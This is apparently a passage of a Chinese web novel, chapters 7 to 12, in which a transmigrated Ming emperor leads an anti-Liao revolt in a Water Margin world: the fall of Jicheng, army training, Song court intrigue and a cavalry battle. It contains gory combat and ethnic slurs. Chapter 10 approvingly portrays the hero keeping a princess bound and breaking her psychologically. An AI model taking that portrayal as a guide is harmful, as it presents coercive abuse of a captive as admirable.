《朱厚照穿越水浒,马踏汴京》 第7章 蓟城 又一个冰期到来,整个北疆被冰雪封盖,天寒地冻常年不化。 南京(燕京)的底色变成了纯白,这座燕云重镇变得萧瑟平寂。 燕云汉人士绅们很是焦虑,大辽已经日暮西山,他们都在担忧自己的未来。 “朱贼贪得无厌,只怕不会善罢甘休。” “若是清剿朱贼,公主怎么办?陛下那如何交代?” “人家刀都架那了,你还管这些,多少人家破人亡,此仇怎能不报?” ………… 燕京宣徽南院内,金色的暖炉冒出青烟,屋内温暖如春,隔绝了百年一遇的严寒。 十几个汉人士绅高官跪坐在紫青色的绒垫上,争得面红耳赤。 “好了,别争了。我等不能让大都督难做,收拾朱逆也不是非要硬碰硬,动动脑子吧。” 坐在首位的白发长须老者平静地说道,他说完后众人平息下去。 这些年来秦晋王亲近汉臣,是他们在大辽国的政治代表,双方的利益牵扯很深。 现在秦晋王做了大都督,破格提拔了不少汉人进士,让他们难以割舍。 “那小子应是一心归附宋朝,不会久留的。现在先把他不愿归还公主的事上报朝廷。” 老人缓缓说道,那双古今无波的眼睛里很是深沉。 众人听后思索起来,这样就相当于把问题抛回给天祚帝。 那小子敢狮子大开口,上京的契丹贵族就不会放过他。 纵使是天祚帝也压不住的,吃了这么多败仗,他的威信已经降到谷底了。 “从上京调兵来遥遥无期,我等就坐视朱贼祸害燕云吗?” 有人质疑道,人群又开始浮躁起来。 朱寿对着燕云士绅大开杀戒,已经触动了燕云士绅这个群体的利益。 现在燕云士绅比契丹贵族还恨他,他分田分粮,这是人家的命根子啊。 “你看你又急,听老夫慢慢道来。” 老头不急不慢地说道,低头饮了一口茶,呼出一口热气。 “朱寿这小混蛋所图甚大,贪婪只是他的伪装罢了。”老头那低垂的眼帘张开,露出一抹精芒。 “这小子不是以往的草头王,分地养望又约束军纪,现在势头已经起来了,不好对付了。” 听到这,坐下几个被朱寿分了家产的官员有些忍不住了,却被老头一眼瞪回去,不敢说话。 “不过嘛,他有远略,其余人却未必如他,人心叵测……” 停顿了一下,老头低沉的声音变得高昂深厚了不少,颇有威严。 “岂不闻世间一切坚固的东西都是从内部开始崩溃的。” ----------------- 蓟县,封冻的蓟水宛如冬眠的长蛇盘于蓟城城外。 北门外,几个衙役正在打扫刑场,冰雪拭去地上的血迹,分离的尸首被装进麻袋。 身为两院押狱兼刑刽子的杨雄坐呆呆地清洗着自己的大刀。 “大人,小的们先行告退了。”几个衙役拖着裹尸袋告退。 杨雄点点头,心不在焉,衙役们也不在意只管离去,毕竟早下班谁不愿意。 一个巨大的秘密埋藏在他心底,他谁也不敢说。 那秘密事关满门性命,实不能轻言,他又犹豫不决,为此甚是困扰。 两年前,他结识了几位英雄好汉,大家把酒言欢,志趣相投。对方还救过他家老父,恩重如山。 近日,那曾经的故交举兵反辽,杀得朝廷大败,威震燕云。 而就在昨天晚上,他收到一封密信,邀约他共举大事,在城中策应。 重整衣冠、南复中原对于他来说只是一种理想,可真要用性命一搏还是难以下定决心。 傍晚,他拖着大刀回了家。 “夫君,回来了,快吃饭吧。” 清丽的声音响起,一张妩媚的脸庞映入他的眼帘。 看着面容姣好的妻子,他的内心动摇了。 作为蓟城官僚,他的日子其实还过得下去,造反的成本太高了。 杨雄坐在桌边低头吃着碗中热腾腾的白面面饼,不再管窗外的风雪。 蓟城城外,茫茫冰原上一个接一个的小黑点出现在地平线上。 金雕盘旋在大军的上空,最终落在赤甲大将的臂铠上。 朱寿抚摸着金雕,那种挥斥方遒的感觉又回来了。顺带一说这只金雕是他从答里孛那夺来的。 “兄长,杨雄哥哥只怕未必会从我等……”石秀担心地说。 “无妨,大军突袭,蓟城守军不足扛不住的……” 燕云一代辽军的主力都驻守在南京,无力顾及蓟城。 联络杨雄只是准备一个小后手,有用自然好,无用也无妨。 兵者,还是讲究大势,什么阴谋诡计都抵不过真刀真枪的厮杀。 “休整片刻,然后攻城。”朱寿下令。 石秀请为先锋,遂以三百精锐为先登。 夜幕落下,杨雄卧在榻上,听着窗外风雨声,心中反复挣扎。 突然,坊间锣鼓喧天,有人四处奔走相告。 “红巾军杀来了。” 杨雄暗道终究还是来了,披上披风拿上大刀,出门前还不忘吩咐妻子关好门。 对于红巾军具体的实力,他也不清楚。只知道他们破了朝廷大军,沿途杀了不少地主豪强。 至于红巾军是否能打下蓟城,他也不清楚。 官吏与戍军登上城头,杨雄也在其中。 当看到城下红巾军时,他感到惊讶与震撼。 自宋辽议和以来,燕云百年未有大规模战事,杨雄在蓟城从未见过数千满甲满配的重骑兵冲锋。 守城的戍卒多是燕云汉人,平常都是兵民合一,多年未经战事,此时吓得有些站不住脚。 红巾军杀至城下后,精锐的重甲步兵下马列阵。 他们从马车上开始卸下攻城器械,准备进攻。 城头的契丹贵族挥舞着鞭子说道:“都给我打起精神来,你们这些两脚羊好好给我守城,不然爷爷艹……” 听着契丹贵族的无脑发言,杨雄忽然能理解国朝几十万大军是怎么女真人一万人击溃的了。 契丹贵族承平日久,早忘记了耶律阿保机时代的开拓进取,他们和汉人合流,取其糟粕、去其精华…… 这样一群没脑子的家伙占领着国家的上升渠道,有识之士得不到晋升,国家又怎能不灭亡呢? 第8章 杨雄 箭矢零散地落下,重盾牢牢挡住这些箭矢。 红巾军只用了一刻钟就杀上了城头,守军完全阻挡不了他们。 “你们这群废物不准后退,顶住啊,给我顶住~” 契丹贵族仍在嘶吼,可面对面对凶猛的红巾军,他们忍不住地后退。 “噗哧~”那剃了个光头亮蛋的契丹贵族一刀捅死了一个溃退的辽国汉兵。 “再有退者,杀无赦。”他叫嚣道。 契丹人躲在汉人的身后,那寒光凛凛的刀刃却对着汉人。 杨雄回首间对上了契丹贵族的眼神,他在那冰冷的眼神里看到了屠夫宰杀牲畜时的淡漠。 多年生活在燕云,杨雄感受到过无数次契丹人的歧视与压迫,在他们的成见与固有观念里,汉人就是“家畜”。 “畜生安敢杀我族裔,拿命来!”一声断喝,杨雄调转刀口杀向契丹人。 城墙上顿时一片大乱,不少辽国汉军紧随其后倒戈相向。 相比杨雄,很多汉军都已经吃不饱饭了,胸中积怨已久,如今被引爆了。 城头混乱,契丹人被杀得节节败退。 “吾乃明王朱寿好友——病关索杨雄,今日特来助众兄弟杀胡破城。” 听了杨雄的高呼,登城的红巾军在石秀的指挥下与其汇拢,围拢聚歼契丹士兵。 高大的城门轰地一声打开,朱寿率领着千骑铁马冲锋在冰原之上,直取城门。 契丹人在城中逃窜,刀锋之下人头滚滚。 作为守将的契丹贵族首领此时急得亮蛋上面大汗直流。 与他通行的还有汉官太守王乂,双方带领着数百家奴还有草草收拾的财货逃往南门。 却见南门满是汉人拿着锄头、刀具堵住城门。 “这些刁民,回头定让他们知道厉害!” 说罢,他又率领家奴飞奔西门。 西门传报那满城的守军与衙役控制住城门。 他急得怪起辽太祖来:“太祖爷就不该搞什么南北面官,这些养不熟的白眼狼居然连主任都咬。” 叹息间,那拼命三郎石秀已经率兵从后边杀上来,一棍就敲碎了太守王乂的头,打得脑浆爆裂,眼珠突出,死于街头。 汉人家奴部曲各自逃散,或降。 契丹光头首领率领部众急奔东门,沿途战马嘶鸣,厮杀声不绝于耳。 汉人用汉话叫嚣着,他长这么大第一次发现汉人居然这么凶猛。 一众家将杀得浑身是血终于从东门抢路而出。 无数契丹溃逃者奔于冰原之上,不待他们喘口气,雪地里突然斜突出一支骑兵将他们阵型拦腰截断。 光头用并不熟练的汉话喊道:“爷爷饶命啊,孙贼把钱都孝敬给爷爷……” 一个赤甲巨汉在月下杀奔而来,月华披肩,鲜血染甲,如同一尊从十八层地狱冲出来的罗刹。 这真的是汉人吗,或者说这真的是人吗?这简直就是一头裹上了重甲的猛兽……光头在最后的生命关头想道。 锋利的三尖两刃刀上不沾一滴血,明晃晃地冲着那亮堂堂的光头斩下。 “咔嚓~”一颗硕大的光头在月下飞起,最终落在白花花的雪地里。 城中失火,火光冲天,照明了蓟城的夜空。 厮杀声与哀嚎声在后半夜才消退下去,当蓟城再度安静时,火势已经被扑灭。 各家各户那堵死的门窗在同城义军的呼唤中缓缓打开。 当人们走上街道上时,看到那些军容整肃的汉军正在收拢尸体,清理街道。 人们很意外,被契丹人统治了一百多年,他们无法想象真得存在一支破城后秋毫无犯的军队。 当他们对这支不同的军队抱有与疑惑时,一骑赤袍大将在森然甲兵的拱卫下走到街市正中央。 他的刀尖上挂着一个硕大的光头,那往日凶猛嗜杀的契丹老爷此刻如同一个猪头一般。 这一刻朱寿无论说什么,人们都会敬服地去听,这是威信的建立。 所谓的王者风范并不是虎躯一震就让人臣服,而是彰显自身的强大,通过杀戮与取代,人本身就是慕强的。 往日鱼肉百姓的契丹老爷虽然名声坏,但在人们的心中他就是强权。 朱寿斩下了契丹老爷的头,人们就直观地感受到他的强大。 “汉室子民们,吾名朱寿,来这只为办三件事,让汉人拿回自己的粮食,拿回自己的土地,拿回自己的尊严……” 他没有说重回中原,也没有说民族大义,北地汉人沦陷在大辽上百年了,对宋完全无感。 要打动他们,还得多说土地、粮食这些实际的。 “……放粮!” 随着朱寿一声令下,朴实的燕云人民仍然难以置信,不敢想有这等好事。 激战了大半夜又安抚百姓,夜幕已经退去,天边泛起了鱼肚白。 橘黄色的晨光洒在汉军众将士的脸上,他们眼神炯炯。 杨雄觉得这支部队有些不同,他们和以往的暴乱农民军不一样,他们破城以后能保持军纪。 自古以来农民军难以成事的原因就在于军纪差,难以形成战力,部队前期暴兵快,可都是乌合之众,不足成事。 朱寿率领的这支部队却能在这么短的时间里塑造军纪,快速形成战力。 杨雄感觉跟着朱寿混或许也不错,这兴许是一支前途光明的起义军。 “兄弟,走吃肉起,为兄给你庆功!”朱寿拍着杨雄的肩说。 “不敢当。”杨雄推辞道。 面对朱寿等人的热情,他有些羞愧当初自己的懦弱。 “兄弟,待会你和石秀一起在城中招募敢勇,拣选良家子,和你原先的部众编为一旅,全权由你统领。” 如今正是用人之际,对于杨雄这骁勇的武将,他是敢于放权的。 杨雄乃性情中人,没有那么多弯弯绕绕,是纯粹的武人。 “哥哥,小弟……”杨雄有些口痴,心中有千言万语却又觉得形容不了自己的心情。 “好好干,”朱寿拉着杨雄就走,“别说了,吃肉去!” 朱寿是读过《水浒》的,对于书中的四大苦主(武大郎、卢俊义、杨雄、宋江)他最同情杨雄。 因为杨雄真得很爱自己的妻子,在杨雄的心里妻子是排第一的,夫妻之情是他最大的枷锁。 不过朱寿也没有干预他命运的想法,如果不打破那一丝牵挂,怎能让杨雄以后死心塌地为自己卖命。 朱寿从不是什么善男信女,他是朱元璋的子孙,为达目的不择手段。 第9章 白虎在北,天命兴宋 “吁~咴咴咴” 战马沿着斜坡向下冲刺,卷起滚滚尘埃。 调整阵型后,骑兵又转向爬坡冲刺。 数百骑兵来回冲刺,坡上下都布置着数以百计的稻草人。 在蓟城原野的另一侧一道长沟横贯于原野之上,长沟足有六尺之深。 上千身着鱼鳞甲的步兵在战壕中反复往上跃起爬出,然后又纵入战壕中,反复来回。 朱寿满头大汗地爬上爬下,身上细密的鱼鳞甲很闷不透气还足足有四十余斤。 士兵们都很累,可看到明王以身作则不停歇地训练,大家都不敢言累。 粗壮的双腿用力跃起,手臂牢牢抓住上沿,雄健的肩背贲起,朱寿如猛虎般利索地窜起。 如此训练比和辽军作战还要累,这是岳武穆的练兵法则,用来对付女真铁浮屠。 历史上女真和宋军作战优势就在于宋军耐力太差,扛不住女真铁骑的高强度输出。 直到训练狂魔岳飞开始掌兵,每到一处扎寨后就是拼命训练,岳家军的耐力后来甚至冠绝当世。 汉人拼骑兵是很难超过马背上长大的游牧民族,要限制游牧重骑兵还得靠重装步兵。 朱寿热衷军事,对岳飞的军事训练是非常熟的,一直希望实操,打造一支强兵。 可惜在大明对于腐化的京师部队只能简单地整肃,想要进一步强化必须要改革,其中掣肘极多,只能搁置。 如今重头打造一支强兵很合他的心意,他很是用心。 上千披甲的猛士在战壕中来回攀爬,气势逐渐凝结。 极致的训练挤压着士兵们的精力,不断磨练意志。 训练到后面完全就是靠潜意识里的军令在机械地反复攀爬。 “咚咚咚~”鼓声响起,士兵们才后知后觉地停下。 在各级队头的指挥下有序地爬出战壕然后回到城中营房,准备午膳。 中午饭食很丰富,满满的麦粥加上面饼,香气腾腾的粥饼挑起了他们的胃口。 在士兵们大快朵颐时,各级将官从士兵里挑选出训练时表现优良的士兵加肉。 看到身旁的同袍碗里那肉香扑鼻的肉,大家都暗自咽口水。 竞争的心态就是在细节中逐渐树立的,这其中重要的是讲究公平。 巡营后,朱寿满意地回了大帐。 石秀端来一碗鸡肉焖饭,金黄的鸡肉色泽鲜艳。 朱寿接过焖饭狼吞虎咽地吃起鸡肉与粟米,吃得很是幸福。 当初做皇帝时,他什么山珍海味没吃过,可却提不起胃口。 可来到这王朝末世后,经历了挨饿困顿,他现在吃啥都是倍香。 他不多时吃了个八分饱,将碗中米粒吃尽,然后开始处理军务。 “王伦,这两日督造兵甲器械进程几何?”朱寿问道。 “主公,现如今匠户集结共二百六十户,蓟城城北的兵器作坊有三间能用,其余正在休缮……” 蓟城作为辽国曾经与宋国征战的前线,这里有着兵甲作坊还有开发的矿山,是军事重地。 如今辽国衰弱,军事重心北移,这里已经废止,不过好在军事生产线几乎完整保留下来。 有一条完整的兵甲生产线是非常重要的,披甲率提高对于一支军队战力提升幅度极大。 现如今红巾军部众数千,盔甲差不多在一千五百副左右,大都是从辽军身上拔下来的。 占领蓟城以后,以蓟城现在的军事工业水平差不多一个月能生产五百副,这已经是透支财政下的极限生产水平了。 “加快速度,辽国的反扑旦夕将至。”朱寿嘱咐道。 “主公,柴大官人命人送来了一百石粮食,送粮的门客已经安排用过餐了,可要接见?” “嗯,带他过来。”朱寿说道。 王伦这小子虽然心思多,但其基本的统筹处事能力还是不错的,比那些只会读死书的腐儒强多了。 随着初期势力的统合,红巾军势力日益强大,欣欣向荣。 晌午过后,红巾军换防后,朱寿率领他们出城训练。 士兵换了一茬,他却依旧精力充沛,恐怖的身体机能堪称力大无穷。 燕云原野上红巾飘扬,汗水挥洒,好似一团火在熊熊燃烧。 ----------------- 汴梁,延福宫 宫中紫气缭绕,天宝香轻燃。 殿中摆满各种珊瑚、奇石、异宝,墙上还挂着无数名画、佳作。 仙风道骨、穿着华丽、鹤发童颜的老道坐在蒲团上闭目冥想。 长久的推演后,老道长出一口气,额角挂满汗珠。 老道俯身穿过殿中屏风,跪在长塌前,奏道: “陛下,有结果了。” “林卿算得如何?那北境义军是何来历?”一道充满磁性、温和典雅的声音响起。 龙榻上的人正是当今大宋朝的最高掌舵者——赵佶,自政和五年(公元1115年)起,林灵素忽悠赵佶做了“教主道君皇帝”。 他宣称赵佶是长生帝君下凡,一心追求长生的赵佶自然是信了。 “陛下,那朱寿是白虎星君转世,在天上就是长生帝君的座下大将,如今追随陛下下凡来了。” “天命其助陛下收复燕云十六州……”林灵素缓缓说道。 林灵素并非是信口张来,作为一个宠臣,他也是有政治素养的。 如今大宋的主战派以童贯、梁师成为首,他们都是顺着皇帝好大喜功的需求在操作。 可奸臣们并不蠢,他们只是坏。他们都知道凭自己是收复不了燕云的,那些忠臣良将又不愿意合作。 因此他们才能想出来连金灭辽这种借力打力的计策,实在是麾下确实缺能征善战的武将。 朱寿的出现就像原时空里的种师道,能打在朝中没根基,适合收下当狗。 林灵素背后的宠臣阵营需要他好好给皇帝做思想工作,争取皇帝的支持,筹备北伐力量。 “白虎在北,天命兴宋?”赵佶默念,眼中涌起喜色。 终宋一朝,燕云一直是宋朝历代君主心中最大的心病,从太祖至亡国。 在赵佶眼中自己是一个贤明的治世之君,如果能收复燕云,那他就是万世之君,功盖太祖了。 “林卿觉得何人可以负责接洽朱寿之事?”赵佶问道,在他看来林灵素比只会扯皮的满堂诸公靠谱多了。 “秘书丞马植可担此任。” “嗯,深得朕心,”赵佶说道:“宣秘书丞马植觐见。” 马植是连金灭辽计划的提出者,宋朝出使金国的使臣。 原本跪伏在屏风外的小太监跪着退出殿去。 延福宫外,群臣正在候着,听到公公高呼: “宣秘书丞马植觐见。” 马植尾随公公入殿,随后跪在屏风外跪拜: “参见官家。” “你负责接洽招募燕云义军的事宜,即刻起行,中书堂的调令随后发送。” “臣遵旨!” 第10章 针锋相对,血色黄昏 “杀了我吧,混蛋!” 冷白的面孔上散乱的发丝被汗水粘住,那双凄美的秋水剪瞳中噙满泪水,绝望地哀求。 朱寿居高临下地审视她,为了避免她自杀,他给绑得很结实。 几根结实的绸带以龟甲缚的形式将她那一身胡服短打衫紧紧勒住。 答里孛身子不断哆嗦,胸前的浑圆惊心怵目地晃动。 莫大的耻辱让她面红耳赤,娇艳欲滴,身上有一种羞于启齿的酥麻。 “混蛋既然你不会放我回家,还不如给我一个痛快的?” “我还不够让你痛快吗?再说了,我可舍不得杀你。”朱寿俯身捏住她的下巴。 公主还有极高的战略价值,等挫败辽国兵锋后,朱寿还指望着从天祚帝那里拿她的嫁妆呢。 并且逐步征服公主这匹胭脂马的身心过程也是朱寿这个昏君现阶段为数不多的娱乐方式。 心高气傲的公主被他击败后,心理防线已经崩溃,面对他总是不自觉地低一头,再辅以身体上的打击。 同时又偶尔贴心对待她,让她的恐惧和希望都来源于自己一人,慢慢地就能掌握她的心,使其唯他是尊。 朱寿曾经流连风月时就喜欢这种攻心调教。 “呜呜呜呜!呜呜呜!” 豆粒大的滚烫泪珠滑落,她已经濒临崩溃了。 “别哭了,乖,改天再来看你。”朱寿温柔地摸了摸她的脸蛋,随后转身头也不回地离开。 “混蛋~” 人生中无数个头一次受辱都发生在这个男人身上,这让她宁死也不愿面对他,可是偏偏死不了。 ----------------- 攻克蓟城至今已有旬日,各地汉人豪杰争相来投。 部众高速扩张的同时,军粮后勤补给的压力也在不断提高。 这个时代处于第三个小冰期,东北严寒千里沃土冰封,粮产量大幅降低。 依靠燕云供养一支大军在这个年代是非常吃力的,冰期的必然形势就是北人南迁。 历史上金国灭辽后,幅员辽阔,地阔千里,可能供养的真实军队兵力只有五万到八万,包括渤海人、奚族、契丹战俘组成的仆从军。 想要成就霸业还需要中原温和的气候与肥沃的土壤,还有中原山东那数不尽的汉人英豪。 朱寿胸中有着深远的韬略,却并非好高骛远之辈,眼下关键还是在辽军的反扑中保住起义军家底。 “哨探探报如何?”朱寿问道,他坐于高堂之上询问堂中众人。 据燕云北部来投效的汉人义士所言,辽国上京道的契丹贵族已经在做战争动员了。 哪怕上京形势已经形同危卵,可是契丹人还是接受不了被家奴叛乱骑脸的事实。 “明王,契丹大军已经开至南京附近,部众五千余骑全是契丹人,披甲率目测不低于七成。”杨雄汇报道。 “哈哈哈,如今基业草创之际,我军正缺盔甲,契丹贵人就慷慨解囊,岂不快哉?” 朱寿瞪着那双黑白分明的眸子对着众人挑眉,引得一阵大笑,众将士气颇高。 经过交战又杀了不少契丹人后,他们对于契丹人已经脱敏了。 世界就是一个草台班子,当统治阶级为自身勾勒的神话破灭时,民众将会觉醒然后吞没他们。 “哥哥,某愿为前锋御敌。”石秀抱拳请命。 “放心,有你大显身手的时候,”朱寿站起身来,随即说道:“点齐儿郎们,随洒家破敌。” 校场上军旗猎猎,起义军的军容焕然一新,严苛的训练加上充足的食物,月余就产生了翻天覆地的变化。 朱寿登上将台,环视肃穆的红巾军一圈,颇为满意。 身为顶尖造反家族的传人,没有人比他更懂造反。 他对太祖太宗的造反事业深有研究,对于打造一支义军也是颇有心得,如今实践下来看起来成果不错。 “契丹人回来了,你们怕吗?”朱寿沉声问道。 队伍中几个大嗓门士兵高声重复他的话,响震校场回荡在每一个士兵的耳畔。 “杀光他们!杀杀杀!” 士兵们山呼道,有雷霆万钧之势。 朱寿振臂高呼:“三军听令,午时出兵!” ----------------- 涞水原野上一阵急促的马蹄声响起,矗立的雪松颤动。 刚刚爬上雪松的肥硕松鼠正将满怀的粟粒倒入巢中,看着远方的地平线冒出数不尽的恐怖直立猿骑着四脚兽奔袭而来。 松鼠急忙窜回巢中,缩成一团,不想卷入那残酷的世界。 契丹大马在河岸旁停驻,士卒们下马休整,战马被驱驰到河边饮水。 战马的鼻子间喷吐着浓浓白息,契丹勇士则在一旁拉伸双腿,活动腰肢。 代表白狼的大纛下站着一个小巨人,其满脸络腮胡,腰身庞大,身上还套着一件熊皮。 “大人,汉狗已至六里外,步骑六千余人。”探马回报。 小巨人咧开嘴露出一口森然的白牙,大声说道:“杀光汉狗收复蓟城,三日不封刀!” 几个传声兵大声传递着他的军令,河畔的契丹士兵迸发出浓浓杀机,扯开嗓子如同狼嚎般尖叫! 看着疯狂的契丹士兵,小巨人非常高兴,在他看来这才是真正的契丹勇士。 如果朝中大人能恢复祖制,他们契丹人绝对不会比女真人差。 让士兵稍作休整后,他便严肃下令士兵们着甲。 此前为了保持士兵们的体力,辽军只披轻甲,现在将战开始叠甲准备应对两军交阵。 辽军正兵不仅人均披甲,并且人均装备一件铁骨朵和一件斧钺。(这是辽史记载,并非虚言。) 剩下的辅兵和弓弩手也有不少着轻甲执长刀,装备精良。 这支辽兵是从北边调回来的,常年驻守北疆与野人、猛兽生死相搏,并非上京城里醉生梦死的契丹贵族。 整装待发后,辽军开始排列队形,弓手居中,人马具甲的重骑兵靠后,矫健的先锋排在前方。 小巨人骑着战马带着大纛一马当先,沿河前行。 天边的斜阳西落,血色余晖铺在远方的高地上,他那鹰一般锐利的眼睛里倒映着远来的红巾军。 第11章 大纛 朱寿在亲卫的帮助下开始加装铠甲,此前行军时他也不曾着全甲。 大多数将领的全甲武装其实并不到位,叠甲越厚体能消耗就越大,所以很多人会选择减少负重增加灵活和体能。 不过对于他这种身体素质堪称炸裂的存在,并不存在体能危机。 他内衬皮甲,腰束皮带固定胸肩背明光铠,双臂之间带有厚实坚韧的披膊,却还嫌不够。 在两个亲信的帮助下又戴上了两块椭圆形腋铠,大多数将领是不会戴腋铠的,因为这是一个攻击盲区,一般不会被伤到。 不过世上神箭手无数,如今他又常常肩负破阵冲锋的重任,自然是巴不得武装到牙齿。 整装完毕,朱寿上马指挥队伍前行。 双方逐渐逼近,汉军排头兵以重型步兵为主,骑兵压在侧翼;辽军则是清一色的骑兵。 在蓟、易两地休整壮大势力后,红巾军已经扩张成一支步骑精良、兵种相对全面的队伍。 相比起刚起兵时只能梭哈一把的几百骑兵,现如今不到两个月的时间里,这已经今非昔比了。 纵使面对声势滔天的辽国骑兵,汉军的步伐依然稳健。 步兵打骑兵最关键的就是心态要稳,只要稳重然后协同配合,重装步兵是能抗衡骑兵的。 双方相距不到百步时,红巾军开始减缓速度,直到七十步时,全军整齐停下。 “轰~”第一排的重装刀盾兵将重盾牢牢地立在地上,第二排的长枪斜扬。 契丹主将非常魁梧,冲得很靠前,大声对着汉军喊道:“俺乃大辽北路招讨使阿里奇!” 他吼声如雷,看向红巾军诸将眼中尽是鄙夷之色,看谁都是插标卖首之辈。 巧的是朱寿还真知道他,在水浒的扩编版里辽国大将就有一个叫阿里奇的,确实是一个万人敌。 看到此人,朱寿也很是好奇,在金台那苦练武艺打煞气力后,他的武力放大明已经很是超模了,可这里是水浒。 水浒的世界观里有些武将武力表现是非常夸张的,朱寿也想试探一下这个世界里水浒的武力水准在什么层面? 契丹骑兵开始加速,前锋部队如离弦的箭矢从主阵中杀出,随即分为两路开始左右包抄。 红巾军两翼的骑兵驱马上千拦截缠斗保卫主阵。 杨雄作为骑兵统领一马当先,挺起长刀直指契丹人。 “噗哧~”双马交错,雷霆之势下,长刀洞穿薄甲,杨雄直接把首当其冲的契丹将领挑起。 双方交起手来杀得血光四溅,金铁交织,交汇冲击中无数人坠马,然后被身后的铁骑踏成肉沫。 朱寿微微皱眉,此时战阵激烈,打得不可开交,但作为行家,他已经看出来红巾军战损比明显更高。 辽军披甲率很高,并且这一支辽军骑术精湛、作战凶猛,不好对付。 作为唐朝的主要继承人,辽国获取了唐大量的军工技术,披甲率相比以前的胡人政权直接翻了数倍。 万马奔腾的辽军都是一人双马,充分保证了机动性与马力。 位于中军的射手在拉近距离后,开始依次开弓。 相比起话本里的箭如雨下,辽军的弓弩手主打的是精准打击,毕竟箭矢也是很贵的。 一排接一排的箭矢射向汉军刀盾兵,哪怕有重盾防御依旧有不少箭矢射中脚,射翻了不少刀盾兵。 随着箭雨抛射后,弓手开始向两侧迂回包抄。 后面的重骑兵并没有一股脑地冲上来,而是等着弓手与前锋将汉军围起来射。 这支契丹军队是一支合格的野战部队并不是无脑的乌合之众,打法是非常标准的草原骑兵包抄战术。 通过包围以后用箭矢大量消耗汉军步兵的体力,然后寻找机会找到弱点突进。 具甲骑兵的战斗力是非常强,可贸然冲击重步兵方阵伤亡也不小。 胡汉步骑对抗一千年了,胡人也总结出了一套战法。 打仗还是得食脑,不是无脑冲锋就行的。 在契丹人的包围轮番围射下,汉军的伤亡不断增加,步军阵型开始混乱。 两翼汉军骑兵伤亡也不小,不过好在杨雄他们挺住了。 燕云汉人骑兵和契丹人骑术是有一定差距的,可这个差距没有想象中那么大。 满甲满配的燕云汉骑在逐渐适应了契丹人的马战强度后,开始有效还击。 这支契丹北部精锐确实强悍,不过冲上来的毕竟只是轻装部族骑兵与弓手,肉搏白刃战里他们并没有压倒性的优势。 阿里奇有些生气,契丹勇士正在不断流血,汉人从羊变成了獾,让白狼的子孙殒命沙场。 “呜~啊!”阿里奇大喝一声,带着身旁的五百具甲骑兵一拥而上。 此时并非最好的决战机会,可看到契丹勇士被杀得人头滚滚,他的心就在滴血。 五百骑具甲骑兵冲锋起来,战马那流线型的肌肉上铁甲在奔驰中上下浮动,那一片来势汹汹的黑色铁甲潮流让人乍舌。 当双方距离不到二十步时,汉人方阵中弓手轮番抛射,箭矢砸在重装骑兵身上却难掩其势。 阿里奇拉住缰绳微微调整方向,辽军阵型向左偏转绕开了前排的刀盾兵。 朱寿目光紧盯辽军,辽军显然也知道排头兵是硬骨头,不愿意硬啃。 “快!传令后军准备接敌!”朱寿大喝一声,身旁的传令官一边打旗号,一边高喊。 后军在辽军的骑射干扰下,阵型混乱,人员伤亡也最多。 在漫长的华夏冷兵器战争史上,后军的伤亡率不仅比两翼高,甚至一度比前军高。 因为军队讲究士气,能打的都站在前面,装备也是优先供给前排,所以后军相对来说就是软柿子。 战场上为了高效扩大战果,一般在试探确定后,主将一般都会选择用对方的弱侧开刀。 这支重骑兵从右翼双方骑兵的战场掠过后,直插汉人后军。 这冲击感就像猪拱水豆腐一样,一触豆腐就碎散开来。 “随我支援后军!”朱寿下马高喊,阵中人数密集,骑马容易扰乱阵型。 石秀举着红巾军的大纛想要跟着朱寿杀向后军,却被朱寿下令留在原地坐镇中军。 “杜迁、宋万带上大纛,随洒家冲锋,不得有误!”朱寿转首喝道,随后头也不回地冲向后军。 沉重的大纛被交到宋万手中,杜迁、宋万二人对着石秀拍了拍自己的胸膛,便赶紧追上朱寿。 后军被契丹骑兵凿得血肉模糊,血肉之躯在具甲骑兵的的铁蹄被踏成肉泥。 呆在后军混日子的王伦没想到契丹士兵居然这么恐怖,之前红巾军砍辽军像杀猪一样,他还以为辽军真得很菜。 他不明白辽军为什么突然变这么猛,而且怎么躲在后面还这么危险。 后军的秩序几乎已经崩溃了,相比起朱寿大力训练的前军与中军,他们入伍晚,训练时间短,披甲率低。 契丹具甲骑兵一个冲锋就把他们冲垮了,后军的指挥体系已经几乎崩溃了。 推搡混乱的战场上,没马的王伦只是一个书生,推搡间他被栽倒在地。 崴伤了脚,王伦吃痛之下,望着身后疾驰而来的契丹,咬牙向前爬行。 被铁甲包裹的契丹猛士疾驰而来,那挥舞的铁骨朵“咔嚓咔嚓”间就击碎了数名汉人的头。 迎面而来的浓重血腥味与铁锈味让王伦汗毛倒竖,双眼紧闭,手指扣入了黑土地中。 “砰~咯吱~”刺耳的轰鸣后是金属间剧烈的碰撞发出的令人牙酸的交织声。 炽热的液体溅满王伦的脸庞,他睁眼一看,看得目瞪口呆。 魁梧的赤甲巨汉挡在无数汉军身前,厚实的重斧将那戴着铁甲的马头从侧面砸断。 明王来了,汉军的胆气就有了。 血流了一地,那马背上的骑士被朱寿竖着劈成了两半,结实的铁骨朵被斩成两截掉在地上。 冲杀在汉军中的阿里奇皱起了眉,锐利的目光集中在远处的大纛上,无数溃败的汉军在大纛下集结。 短时间内大量重复训诫后,新兵们潜意识就会围绕在那大纛之下,严明的军纪是在无数次军棍惩戒与肉骨头赏赐养成的。 “给我杀!踏碎这些汉狗!” 阿里奇手中乌金色的铁骨朵直指那飘扬的红色大纛与旗下的赤甲巨汉。 第12章 龙战于野,其血玄黄 在大纛压阵下,以明王亲卫为主的红巾军很快就竖起了一排长枪。 以步战骑的核心战力就是长枪兵,一排三米五以上的大枪45度仰角竖起。 “吁~”战马扬起,长枪将高速奔驰下的契丹骑兵从马上挑落,砸得契丹骑兵血肉模糊。 第一个照面汉军撑住了,打得还不错,杀了十几个契丹骑兵。 具甲重骑源源不断地涌来,面对着上千斤的冲击力,骑兵也不是每一次都能刺中。 “轰~”具甲骑兵冲入阵中,首当其冲的枪兵被撞上了天,其势不减接连撞开数名红巾军才被斩落。 契丹人真得不要命,对着汉军亡命冲锋,直戳戳地往明晃晃的长枪上撞。 “噗哧~”破甲声响起后,巨大的冲力将长枪挤断,披甲的战马将直面的长枪手踏碎。 好不容易搭建起来的后军阵线逐步瓦解,亲卫与少量着甲士兵组成防线被突破后,身后士兵的着甲率太低,被铁骑洪流轻易撞碎。 “大王撤吧!胜败乃兵家常事,留得青山……”王伦焦急地拉住朱寿,希望快点跑路。 “撒手,胜负未分,且看我破敌!”朱寿甩开王伦,从地上提起一个被挑落的辽兵当盾牌。 王伦只是一个落地愤青,哪见过这种场景,肠花里肚和残肢断臂到处都是,他只想离开这。 朱寿走后,王伦缩到了宋万身后,害怕地看着眼前的修罗战场。 